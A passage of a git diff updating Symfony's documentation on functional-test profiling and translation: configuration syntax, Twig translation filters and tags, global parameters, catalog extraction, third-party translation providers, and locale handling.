+43,7 @@ clean PHP process, thus avoiding any side effects. As an insulated client is slower, you can keep one client in the main process, and insulate the other ones. -.. caution:: +.. warning:: Insulating tests requires some serializing and unserializing operations. If your test includes data that can't be serialized, such as file streams when diff --git a/testing/profiling.rst b/testing/profiling.rst index d3fa71f8e76..085cd100c2d 100644 --- a/testing/profiling.rst +++ b/testing/profiling.rst @@ -1,6 +1,3 @@ -.. index:: - single: Tests; Profiling - How to Use the Profiler in a Functional Test ============================================ @@ -47,15 +44,15 @@ tests significantly. That's why Symfony disables it by default: .. code-block:: php // config/packages/test/web_profiler.php + use Symfony\Config\FrameworkConfig; - // ... - $container->loadFromExtension('framework', [ + return static function (FrameworkConfig $framework): void { // ... - 'profiler' => [ - 'enabled' => true, - 'collect' => false, - ], - ]); + $framework->profiler() + ->enabled(true) + ->collect(false) + ; + }; Setting ``collect`` to ``true`` enables the profiler for all tests. However, if you need the profiler only in a few tests, you can keep it disabled globally and @@ -71,12 +68,12 @@ provided by the collectors obtained through the ``$client->getProfile()`` call:: // tests/Controller/LuckyControllerTest.php namespace App\Tests\Controller; - + use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; class LuckyControllerTest extends WebTestCase { - public function testRandomNumber() + public function testRandomNumber(): void { $client = static::createClient(); @@ -126,5 +123,5 @@ finish. It can be achieved by embedding the token in the error message:: .. tip:: - Read the API for built-in :doc:`data collectors </profiler/data_collector>` + Read the API for built-in :ref:`data collectors <profiler-data-collector>` to learn more about their interfaces. diff --git a/translation.rst b/translation.rst index 238e80ee38c..47f9124a5f2 100644 --- a/translation.rst +++ b/translation.rst @@ -1,6 +1,3 @@ -.. index:: - single: Translations - Translations ============ @@ -26,20 +23,25 @@ into the language of the user:: *language* code, an underscore (``_``), then the `ISO 3166-1 alpha-2`_ *country* code (e.g. ``fr_FR`` for French/France) is recommended. +Translations can be organized into groups, called **domains**. By default, all +messages use the default ``messages`` domain:: + + echo $translator->trans('Hello World', domain: 'messages'); + The translation process has several steps: #. :ref:`Enable and configure <translation-configuration>` Symfony's translation service; -#. Abstract strings (i.e. "messages") by wrapping them in calls to the - ``Translator`` (":ref:`translation-basic`"); +#. Abstract strings (i.e. "messages") by :ref:`wrapping them in calls + <translation-basic>` to the ``Translator``; #. :ref:`Create translation resources/files <translation-resources>` for each supported locale that translate each message in the application; -#. Determine, :doc:`set and manage the user's locale </translation/locale>` +#. Determine, :ref:`set and manage the user's locale <translation-locale>` for the request and optionally - :doc:`on the user's entire session </session/locale_sticky_session>`. + :ref:`on the user's entire session <locale-sticky-session>`. Installation ------------ @@ -50,6 +52,12 @@ First, run this command to install the translator before using it: $ composer require symfony/translation +Symfony includes several internationalization polyfills (``symfony/polyfill-intl-icu``, +``symfony/polyfill-intl-messageformatter``, etc.) that allow you to use translation +features even without the `PHP intl extension`_. However, these polyfills only +support English translations, so you must install the PHP ``intl`` extension +when translating into other languages. + .. _translation-configuration: Configuration @@ -82,40 +90,47 @@ are located: https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config default-locale="en"> - <framework:translator> - <framework:default-path>'%kernel.project_dir%/translations'</framework:default-path> - <!-- ... --> - </framework:translator> + <framework:translator + default-path="%kernel.project_dir%/translations" + /> </framework:config> </container> .. code-block:: php // config/packages/translation.php - $container->loadFromExtension('framework', [ - 'default_locale' => 'en', - 'translator' => ['default_path' => '%kernel.project_dir%/translations'], + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - ]); + $framework + ->defaultLocale('en') + ->translator() + ->defaultPath('%kernel.project_dir%/translations') + ; + }; + +.. tip:: -The locale used in translations is the one stored on the request. This is -typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`). + You can also define the :ref:`enabled_locales option <reference-translator-enabled-locales>` + to restrict the locales that your application is available in. .. _translation-basic: Basic Translation ----------------- -Translation of text is done through the ``translator`` service -(:class:`Symfony\\Component\\Translation\\Translator`). To translate a block -of text (called a *message*), use the +Translation of text is done through the ``translator`` service +(:class:`Symfony\\Component\\Translation\\Translator`). To translate a block of +text (called a *message*), use the :method:`Symfony\\Component\\Translation\\Translator::trans` method. Suppose, -for example, that you're translating a static message from inside a controller:: +for example, that you're translating a static message from inside a +controller:: // ... use Symfony\Contracts\Translation\TranslatorInterface; - public function index(TranslatorInterface $translator) + public function index(TranslatorInterface $translator): Response { $translated = $translator->trans('Symfony is great'); @@ -136,18 +151,18 @@ different formats: .. code-block:: yaml # translations/messages.fr.yaml - Symfony is great: J'aime Symfony + Symfony is great: Symfony est génial .. code-block:: xml <!-- translations/messages.fr.xlf --> - <?xml version="1.0"?> + <?xml version="1.0" encoding="UTF-8" ?> <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> <file source-language="en" datatype="plaintext" original="file.ext"> <body> <trans-unit id="symfony_is_great"> <source>Symfony is great</source> - <target>J'aime Symfony</target> + <target>Symfony est génial</target> </trans-unit> </body> </file> @@ -157,14 +172,14 @@ different formats: // translations/messages.fr.php return [ - 'Symfony is great' => "J'aime Symfony", + 'Symfony is great' => 'Symfony est génial', ]; -For information on where these files should be located, see -:ref:`translation-resource-locations`. +You can find more information on where these files +:ref:`should be located <translation-resource-locations>`. Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``), -the message will be translated into ``J'aime Symfony``. You can also translate +the message will be translated into ``Symfony est génial``. You can also translate the message inside your :ref:`templates <translation-in-templates>`. .. _translation-real-vs-keyword-messages: @@ -246,25 +261,20 @@ The Translation Process To actually translate the message, Symfony uses the following process when using the ``trans()`` method: -#. The ``locale`` of the current user, which is stored on the request is determined; +#. The ``locale`` of the current user, which is stored on the request is + determined; this is typically set via a ``_locale`` :ref:`attribute on + your routes <translation-locale-url>`; -#. A catalog (e.g. big collection) of translated messages is loaded from translation - resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the - :ref:`fallback locale <translation-fallback>` are also loaded and - added to the catalog if they don't already exist. The end result is a large - "dictionary" of translations. This catalog is cached in production to - minimize performance impact. +#. A catalog of translated messages is loaded from translation resources + defined for the ``locale`` (e.g. ``fr_FR``). Messages from the + :ref:`fallback locale <translation-fallback>` and the + :ref:`enabled locales <reference-translator-enabled-locales>` are also + loaded and added to the catalog if they don't already exist. The end result + is a large "dictionary" of translations. #. If the message is located in the catalog, the translation is returned. If not, the translator returns the original message. -.. tip:: - - When translating strings that are not in the default domain (``messages``), - you must specify the domain as the third argument of ``trans()``:: - - $translator->trans('Symfony is great', [], 'admin'); - .. _message-placeholders: .. _pluralization: @@ -290,15 +300,13 @@ plural, based on some variable: To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by using PHP's :phpclass:`MessageFormatter` class. Read more about this in -:doc:`/translation/message_format`. +:doc:`/reference/formats/message_format`. + +.. _translatable-objects: Translatable Objects -------------------- -.. versionadded:: 5.2 - - Translatable objects were introduced in Symfony 5.2. - Sometimes translating contents in templates is cumbersome because you need the original message, the translation parameters and the translation domain for each content. Making the translation in the controller or services simplifies @@ -307,16 +315,16 @@ parts of your application and mocking it in your tests. Instead of translating a string at the time of creation, you can use a "translatable object", which is an instance of the -:class:`Symfony\\Component\\Translation\\Translatable` class. This object stores +:class:`Symfony\\Component\\Translation\\TranslatableMessage` class. This object stores all the information needed to fully translate its contents when needed:: - use Symfony\Component\Translation\Translatable; + use Symfony\Component\Translation\TranslatableMessage; // the first argument is required and it's the original message - $message = new Translatable('Symfony is great!'); + $message = new TranslatableMessage('Symfony is great!'); // the optional second argument defines the translation parameters and // the optional third argument is the translation domain - $status = new Translatable('order.status', ['%status%' => $order->getStatus()], 'store'); + $status = new TranslatableMessage('order.status', ['%status%' => $order->getStatus()], 'store'); Templates are now much simpler because you can pass translatable objects to the ``trans`` filter: @@ -326,6 +334,10 @@ Templates are now much simpler because you can pass translatable objects to the <h1>{{ message|trans }}</h1> <p>{{ status|trans }}</p> +.. tip:: + + The translation parameters can also be a :class:`Symfony\\Component\\Translation\\TranslatableMessage`. + .. tip:: There's also a :ref:`function called t() <reference-twig-function-t>`, @@ -337,14 +349,156 @@ Translations in Templates ------------------------- Most of the time, translation occurs in templates. Symfony provides native -support for both Twig and PHP templates: +support for both Twig and PHP templates. + +.. _translation-filters: + +Using Twig Filters +~~~~~~~~~~~~~~~~~~ + +The ``trans`` filter can be used to translate *variable texts* and complex expressions: + +.. code-block:: twig + + {{ message|trans }} + + {{ message|trans({'%name%': 'Fabien'}, 'app') }} + +.. tip:: + + You can set the translation domain for an entire Twig template with a single tag: + + .. code-block:: twig + + {% trans_default_domain 'app' %} + + Note that this only influences the current template, not any "included" + template (in order to avoid side effects). + +By default, the translated messages are output escaped; apply the ``raw`` +filter after the translation filter to avoid the automatic escaping: .. code-block:: html+twig - <h1>{% trans %}Symfony is great!{% endtrans %}</h1> + {% set message = '<h3>foo</h3>' %} + + {# strings and variables translated via a filter are escaped by default #} + {{ message|trans|raw }} + {{ '<h3>bar</h3>'|trans|raw }} + +.. _translation-tags: + +Using Twig Tags +~~~~~~~~~~~~~~~ + +Symfony provides a specialized Twig tag ``trans`` to help with message +translation of *static blocks of text*: + +.. code-block:: twig + + {% trans %}Hello %name%{% endtrans %} + +.. warning:: + + The ``%var%`` notation of placeholders is required when translating in + Twig templates using the tag. + +.. tip:: -Read :doc:`/translation/templates` for more information about the Twig tags and -filters for translation. + If you need to use the percent character (``%``) in a string, escape it by + doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}`` + +You can also specify the message domain and pass some additional variables: + +.. code-block:: twig + + {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %} + + {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %} + +.. warning:: + + Using the translation tag has the same effect as the filter, but with one + major difference: automatic output escaping is **not** applied to translations + using a tag. + +Global Translation Parameters +----------------------------- + +.. versionadded:: 7.3 + + The global translation parameters feature was introduced in Symfony 7.3. + +If the content of a translation parameter is repeated across multiple +translation messages (e.g. a company name, or a version number), you can define +it as a global translation parameter. This helps you avoid repeating the same +values manually in each message. + +You can configure these global parameters in the ``translations.globals`` option +of your main configuration file using either ``%...%`` or ``{...}`` syntax: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/translator.yaml + translator: + # ... + globals: + # when using the '%' wrapping characters, you must escape them + '%%app_name%%': 'My application' + '{app_version}': '1.2.3' + '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' } + + .. code-block:: xml + + <!-- config/packages/translation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:translator> + <!-- ... --> + <!-- when using the '%' wrapping characters, you must escape them --> + <framework:global name="%%app_name%%">My application</framework:global> + <framework:global name="{app_version}" value="1.2.3"/> + <framework:global name="{url}" message="url" domain="global"> + <framework:parameter name="scheme">https://</framework:parameter> + </framework:global> + </framework:translator> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/translator.php + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $translator): void { + // ... + // when using the '%' wrapping characters, you must escape them + $translator->globals('%%app_name%%')->value('My application'); + $translator->globals('{app_version}')->value('1.2.3'); + $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']]); + }; + +Once defined, you can use these parameters in translation messages anywhere in +your application: + +.. code-block:: twig + + {{ 'Application version: {app_version}'|trans }} + {# output: "Application version: 1.2.3" #} + + {# parameters passed to the message override global parameters #} + {{ 'Package version: {app_version}'|trans({'{app_version}': '2.3.4'}) }} + # Displays "Package version: 2.3.4" Forcing the Translator Locale ----------------------------- @@ -353,39 +507,72 @@ When translating a message, the translator uses the specified locale or the ``fallback`` locale if necessary. You can also manually specify the locale to use for translation:: - $translator->trans( - 'Symfony is great', - [], - 'messages', - 'fr_FR' - ); + $translator->trans('Symfony is great', locale: 'fr_FR'); Extracting Translation Contents and Updating Catalogs Automatically ------------------------------------------------------------------- -The most time-consuming tasks when translating an application is to extract all +The most time-consuming task when translating an application is to extract all the template contents to be translated and to keep all the translation files in -sync. Symfony includes a command called ``translation:update`` that helps you +sync. Symfony includes a command called ``translation:extract`` that helps you with these tasks: .. code-block:: terminal # shows all the messages that should be translated for the French language - $ php bin/console translation:update --dump-messages fr + $ php bin/console translation:extract --dump-messages fr # updates the French translation files with the missing strings for that locale - $ php bin/console translation:update --force fr + $ php bin/console translation:extract --force fr # check out the command help to see its options (prefix, output format, domain, sorting, etc.) - $ php bin/console translation:update --help + $ php bin/console translation:extract --help -The ``translation:update`` command looks for missing translations in: +The ``translation:extract`` command looks for missing translations in: * Templates stored in the ``templates/`` directory (or any other directory defined in the :ref:`twig.default_path <config-twig-default-path>` and :ref:`twig.paths <config-twig-paths>` config options); * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>` - the ``translator`` service and makes calls to the ``trans()`` function. + the ``translator`` service and makes calls to the ``trans()`` method; +* Any PHP file/class stored in the ``src/`` directory that creates + :ref:`translatable objects <translatable-objects>` using the constructor or + the ``t()`` method or calls the ``trans()`` method; +* Any PHP file/class stored in the ``src/`` directory that uses + :ref:`Constraints Attributes <validation-constraints>` with ``*message`` named argument(s). + +.. tip:: + + Install the ``nikic/php-parser`` package in your project to improve the + results of the ``translation:extract`` command. This package enables an + `AST`_ parser that can find many more translatable items: + + .. code-block:: terminal + + $ composer require nikic/php-parser + +By default, when the ``translation:extract`` command creates new entries in the +translation file, it uses the same content as both the source and the pending +translation. The only difference is that the pending translation is prefixed by +``__``. You can customize this prefix using the ``--prefix`` option: + +.. code-block:: terminal + + $ php bin/console translation:extract --force --prefix="NEW_" fr + +Alternatively, you can use the ``--no-fill`` option to leave the pending translation +completely empty when creating new entries in the translation catalog. This is +particularly useful when using external translation tools, as it makes it easier +to spot untranslated strings: + +.. code-block:: terminal + + # when using the --no-fill option, the --prefix option is ignored + $ php bin/console translation:extract --force --no-fill fr + +.. versionadded:: 7.2 + + The ``--no-fill`` option was introduced in Symfony 7.2. .. _translation-resource-locations: @@ -395,10 +582,13 @@ Translation Resource/File Names and Locations Symfony looks for message files (i.e. translations) in the following default locations: * the ``translations/`` directory (at the root of the project); -* the ``Resources/translations/`` directory inside of any bundle. +* the ``translations/`` directory inside of any bundle (and also their + ``Resources/translations/`` directory, which is no longer recommended for bundles). The locations are listed here with the highest priority first. That is, you can -override the translation messages of a bundle in the first directory. +override the translation messages of a bundle in the first directory. Bundles are +processed in the order in which they are listed in the ``config/bundles.php`` file, +so bundles appearing earlier have higher priority. The override mechanism works at a key level: only the overridden keys need to be listed in a higher priority message file. When a key is not found @@ -408,9 +598,7 @@ priority message files. The filename of the translation files is also important: each message file must be named according to the following path: ``domain.locale.loader``: -* **domain**: An optional way to organize messages into groups. Unless - parts of the application are explicitly separated from each other, it is - recommended to only use default ``messages`` domain; +* **domain**: The translation domain; * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc); @@ -418,24 +606,24 @@ must be named according to the following path: ``domain.locale.loader``: ``php``, ``yaml``, etc). The loader can be the name of any registered loader. By default, Symfony -provides many loaders: +provides many loaders which are selected based on the following file extensions: -* ``.yaml``: YAML file -* ``.xlf``: XLIFF file; -* ``.php``: Returning a PHP array; +* ``.yaml``: YAML file (you can also use the ``.yml`` file extension); +* ``.xlf``: XLIFF file (you can also use the ``.xliff`` file extension); +* ``.php``: a PHP file that returns an array with the translations; * ``.csv``: CSV file; * ``.json``: JSON file; * ``.ini``: INI file; -* ``.dat``, ``.res``: ICU resource bundle; -* ``.mo``: Machine object format; -* ``.po``: Portable object format; -* ``.qt``: QT Translations XML file; +* ``.dat``, ``.res``: `ICU resource bundle`_; +* ``.mo``: `Machine object format`_; +* ``.po``: `Portable object format`_; +* ``.qt``: `QT Translations TS XML`_ file; The choice of which loader to use is entirely up to you and is a matter of taste. The recommended option is to use YAML for simple projects and use XLIFF if you're generating translations with specialized programs or teams. -.. caution:: +.. warning:: Each time you create a *new* message catalog (or install a bundle that includes a translation catalog), be sure to clear your cache so @@ -482,26 +670,441 @@ if you're generating translations with specialized programs or teams. .. code-block:: php // config/packages/translation.php - $container->loadFromExtension('framework', [ - 'translator' => [ - 'paths' => [ - '%kernel.project_dir%/custom/path/to/translations', + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->translator() + ->paths(['%kernel.project_dir%/custom/path/to/translations']) + ; + }; + +Translations of Doctrine Entities +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Unlike the contents of templates, it's not practical to translate the contents +stored in Doctrine Entities using translation catalogs. Instead, use the +Doctrine `Translatable Extension`_. + +Custom Translation Resources +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If your translations use a format not supported by Symfony or you store them +in a special way (e.g. not using files or Doctrine entities), you need to provide +a custom class implementing the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` +interface. See the :ref:`dic-tags-translation-loader` tag for more information. + +.. _translation-providers: + +Translation Providers +--------------------- + +When using external translators to translate your application, you must send +them the new contents to translate frequently and merge the results back in the +application. + +Instead of doing this manually, Symfony provides integration with several +third-party translation services. You can upload and download (called "push" +and "pull") translations to/from these services and merge the results +automatically in the application. + +Installing and Configuring a Third Party Provider +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Before pushing/pulling translations to a third-party provider, you must install +the package that provides integration with that provider: + +====================== =========================================================== +Provider Install with +====================== =========================================================== +`Crowdin`_ ``composer require symfony/crowdin-translation-provider`` +`Loco (localise.biz)`_ ``composer require symfony/loco-translation-provider`` +`Lokalise`_ ``composer require symfony/lokalise-translation-provider`` +`Phrase`_ ``composer require symfony/phrase-translation-provider`` +====================== =========================================================== + +Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add +a configuration example to your ``.env`` file. For example, suppose you want to +use Loco. First, install it: + +.. code-block:: terminal + + $ composer require symfony/loco-translation-provider + +You'll now have a new line in your ``.env`` file that you can uncomment: + +.. code-block:: env + + # .env + LOCO_DSN=loco://API_KEY@default + +The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that offloads +most of the configuration work to Symfony. The ``loco`` scheme activates the +Loco provider that you installed, which knows all about how to push and +pull translations via Loco. The *only* part you need to change is the +``API_KEY`` placeholder. + +This table shows the full list of available DSN formats for each provider: + +====================== ============================================================== +Provider DSN +====================== ============================================================== +`Crowdin`_ ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default`` +`Loco (localise.biz)`_ ``loco://API_KEY@default`` +`Lokalise`_ ``lokalise://PROJECT_ID:API_KEY@default`` +`Phrase`_ ``phrase://PROJECT_ID:API_TOKEN@default?userAgent=myProject`` +====================== ============================================================== + +To enable a translation provider, customize the DSN in your ``.env`` file and +configure the ``providers`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/translation.yaml + framework: + translator: + providers: + loco: + dsn: '%env(LOCO_DSN)%' + domains: ['messages'] + locales: ['en', 'fr'] + + .. code-block:: xml + + <!-- config/packages/translation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:translator> + <framework:provider name="loco" dsn="%env(LOCO_DSN)%"> + <framework:domain>messages</framework:domain> + <!-- ... --> + <framework:locale>en</framework:locale> + <framework:locale>fr</framework:locale> + <!-- ... --> + </framework:provider> + </framework:translator> + </framework:config> + </container> + + .. code-block:: php + + # config/packages/translation.php + $container->loadFromExtension('framework', [ + 'translator' => [ + 'providers' => [ + 'loco' => [ + 'dsn' => env('LOCO_DSN'), + 'domains' => ['messages'], + 'locales' => ['en', 'fr'], ], ], - ]); + ], + ]); -.. note:: +.. important:: + + If you use Phrase as a provider you must configure a user agent in your dsn. See + `Identification via User-Agent`_ for reasoning and some examples. + + Also make the locale _names_ in Phrase should be as defined in RFC4646 (e.g. pt-BR rather than pt_BR). + Not doing so will result in Phrase creating a new locale for the imported keys. + +.. tip:: + + If you use Crowdin as a provider and some of your locales are different from + the `Crowdin Language Codes`_, you have to set the `Custom Language Codes`_ in the Crowdin project + for each of your locales, in order to override the default value. You need to select the + "locale" placeholder and specify the custom code in the "Custom Code" field. + +.. tip:: + + If you use Lokalise as a provider and a locale format following the `ISO + 639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name setting`_ + in Lokalise for each of your locales, in order to override the + default value (which follow the `ISO 639-1`_ succeeded by a sub-code in + capital letters that specifies the national variety (e.g. "GB" or "US" + according to `ISO 3166-1 alpha-2`_)). + +.. tip:: + + The Phrase provider uses Phrase's tag feature to map translations to Symfony's translation + domains. If you need some assistance with organising your tags in Phrase, you might want + to consider the `Phrase Tag Bundle`_ which provides some commands helping you with that. + +Pushing and Pulling Translations +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +After configuring the credentials to access the translation provider, you can +now use the following commands to push (upload) and pull (download) translations: + +.. code-block:: terminal - You can also store translations in a database, or any other storage by - providing a custom class implementing the - :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface. - See the :ref:`dic-tags-translation-loader` tag for more information. + # push all local translations to the Loco provider for the locales and domains + # configured in config/packages/translation.yaml file. + # it will update existing translations already on the provider. + $ php bin/console translation:push loco --force + + # push new local translations to the Loco provider for the French locale + # and the validators domain. + # it will **not** update existing translations already on the provider. + $ php bin/console translation:push loco --locales fr --domains validators + + # push new local translations and delete provider's translations that not + # exists anymore in local files for the French locale and the validators domain. + # it will **not** update existing translations already on the provider. + $ php bin/console translation:push loco --delete-missing --locales fr --domains validators + + # check out the command help to see its options (format, domains, locales, etc.) + $ php bin/console translation:push --help + +.. code-block:: terminal + + # pull all provider's translations to local files for the locales and domains + # configured in config/packages/translation.yaml file. + # it will overwrite completely your local files. + $ php bin/console translation:pull loco --force + + # pull new translations from the Loco provider to local files for the French + # locale and the validators domain. + # it will **not** overwrite your local files, only add new translations. + $ php bin/console translation:pull loco --locales fr --domains validators + + # check out the command help to see its options (format, domains, locales, intl-icu, etc.) + $ php bin/console translation:pull --help + + # the "--as-tree" option will write YAML messages as a tree-like structure instead + # of flat keys + $ php bin/console translation:pull loco --force --as-tree + +Creating Custom Providers +~~~~~~~~~~~~~~~~~~~~~~~~~ + +In addition to using Symfony's built-in translation providers, you can create +your own providers. To do so, you need to create two classes: + +#. The first class must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`; +#. The second class needs to be a factory which will create instances of the first class. It must implement +:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface` (you can extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory` to simplify its creation). + +After creating these two classes, you need to register your factory as a service +and tag it with :ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`. + +.. _translation-locale: Handling the User's Locale -------------------------- -Translating happens based on the user's locale. Read :doc:`/translation/locale` -to learn more about how to handle it. +Translating happens based on the user's locale. The locale of the current user +is stored in the request and is accessible via the ``Request`` object:: + + use Symfony\Component\HttpFoundation\Request; + + public function index(Request $request): void + { + $locale = $request->getLocale(); + } + +To set the user's locale, you may want to create a custom event listener so +that it's set before any other parts of the system (i.e. the translator) need +it:: + + public function onKernelRequest(RequestEvent $event): void + { + $request = $event->getRequest(); + + // some logic to determine the $locale + $request->setLocale($locale); + } + +.. note:: + + The custom listener must be called **before** ``LocaleListener``, which + initializes the locale based on the current request. To do so, set your + listener priority to a higher value than ``LocaleListener`` priority (which + you can obtain by running the ``debug:event kernel.request`` command). + +Read :ref:`locale-sticky-session` for more information on making the user's +locale "sticky" to their session. + +.. note:: + + Setting the locale using ``$request->setLocale()`` in the controller is + too late to affect the translator. Either set the locale via a listener + (like above), the URL (see next) or call ``setLocale()`` directly on the + ``translator`` service. + +See the :ref:`translation-locale-url` section below about setting the +locale via routing. + +.. _translation-locale-url: + +The Locale and the URL +~~~~~~~~~~~~~~~~~~~~~~ + +Since you can store the locale of the user in the session, it may be tempting +to use the same URL to display a resource in different languages based on the +user's locale. For example, ``http://www.example.com/contact`` could show +content in English for one user and French for another user. Unfortunately, +this violates a fundamental rule of the Web: that a particular URL returns the +same resource regardless of the user. To further muddy the problem, which +version of the content would be indexed by search engines? + +A better policy is to include the locale in the URL using the +:ref:`special _locale parameter <routing-locale-parameter>`: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/ContactController.php + namespace App\Controller; + + // ... + class ContactController extends AbstractController + { + #[Route( + path: '/{_locale}/contact', + name: 'contact', + requirements: [ + '_locale' => 'en|fr|de', + ], + )] + public function contact(): Response + { + // ... + } + } + + .. code-block:: yaml + + # config/routes.yaml + contact: + path: /{_locale}/contact + controller: App\Controller\ContactController::index + requirements: + _locale: en|fr|de + + .. code-block:: xml + + <!-- config/routes.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <routes xmlns="http://symfony.com/schema/routing" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/routing + https://symfony.com/schema/routing/routing-1.0.xsd"> + + <route id="contact" path="/{_locale}/contact"> + controller="App\Controller\ContactController::index"> + <requirement key="_locale">en|fr|de</requirement> + </route> + </routes> + + .. code-block:: php + + // config/routes.php + use App\Controller\ContactController; + use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + + return function (RoutingConfigurator $routes): void { + $routes->add('contact', '/{_locale}/contact') + ->controller([ContactController::class, 'index']) + ->requirements([ + '_locale' => 'en|fr|de', + ]) + ; + }; + +When using the special ``_locale`` parameter in a route, the matched locale +is *automatically set on the Request* and can be retrieved via the +:method:`Symfony\\Component\\HttpFoundation\\Request::getLocale` method. In +other words, if a user visits the URI ``/fr/contact``, the locale ``fr`` will +automatically be set as the locale for the current request. + +You can now use the locale to create routes to other translated pages in your +application. + +.. tip:: + + Define the locale requirement as a :ref:`container parameter <configuration-parameters>` + to avoid hardcoding its value in all your routes. + +.. _translation-default-locale: + +Setting a Default Locale +~~~~~~~~~~~~~~~~~~~~~~~~ + +What if the user's locale hasn't been determined? You can guarantee that a +locale is set on each user's request by defining a ``default_locale`` for +the framework: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/translation.yaml + framework: + default_locale: en + + .. code-block:: xml + + <!-- config/packages/translation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config default-locale="en"/> + </container> + + .. code-block:: php + + // config/packages/translation.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->defaultLocale('en'); + }; + +This ``default_locale`` is also relevant for the translator, as shown in the +next section. + +Selecting the Language Preferred by the User +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If your application supports multiple languages, the first time a user visits your +site it's common to redirect them to the best possible language according to their +preferences. This is achieved with the ``getPreferredLanguage()`` method of the +:ref:`Request object <controller-request-argument>`:: + + // get the Request object somehow (e.g. as a controller argument) + $request = ... + // pass an array of the locales (their script and region parts are optional) supported + // by your application and the method returns the best locale for the current user + $locale = $request->getPreferredLanguage(['pt', 'fr_Latn_CH', 'en_US'] ); + +Symfony finds the best possible language based on the locales passed as argument +and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect +match between them, Symfony will try to find a partial match based on the language +(e.g. ``fr_CA`` would match ``fr_Latn_CH`` because their language is the same). +If there's no perfect or partial match, this method returns the first locale passed +as argument (that's why the order of the passed locales is important). + +.. versionadded:: 7.1 + + The feature to match locales partially was introduced in Symfony 7.1. .. _translation-fallback: @@ -523,7 +1126,8 @@ checks translation resources for several locales: (Spanish) translation resource (e.g. ``messages.es.yaml``); #. If the translation still isn't found, Symfony uses the ``fallbacks`` option, - which can be configured as follows: + which can be configured as follows. When this option is not defined, it + defaults to the ``default_locale`` setting mentioned in the previous section. .. configuration-block:: @@ -558,10 +1162,14 @@ checks translation resources for several locales: .. code-block:: php // config/packages/translation.php - $container->loadFromExtension('framework', [ - 'translator' => ['fallbacks' => ['en']], - // ... - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->translator() + ->fallbacks(['en']) + ; + }; .. note:: @@ -569,20 +1177,480 @@ checks translation resources for several locales: add the missing translation to the log file. For details, see :ref:`reference-framework-translator-logging`. -Translating Database Content ----------------------------- +.. _locale-switcher: + +Switch Locale Programmatically +------------------------------ + +Sometimes you need to change the application's locale dynamically while running +some code. For example, a console command that renders email templates in +different languages. In such cases, you only need to switch the locale temporarily. + +The ``LocaleSwitcher`` class allows you to do that:: + + use Symfony\Component\Translation\LocaleSwitcher; + + class SomeService + { + public function __construct( + private LocaleSwitcher $localeSwitcher, + ) { + } + + public function someMethod(): void + { + $currentLocale = $this->localeSwitcher->getLocale(); + + // set the application locale 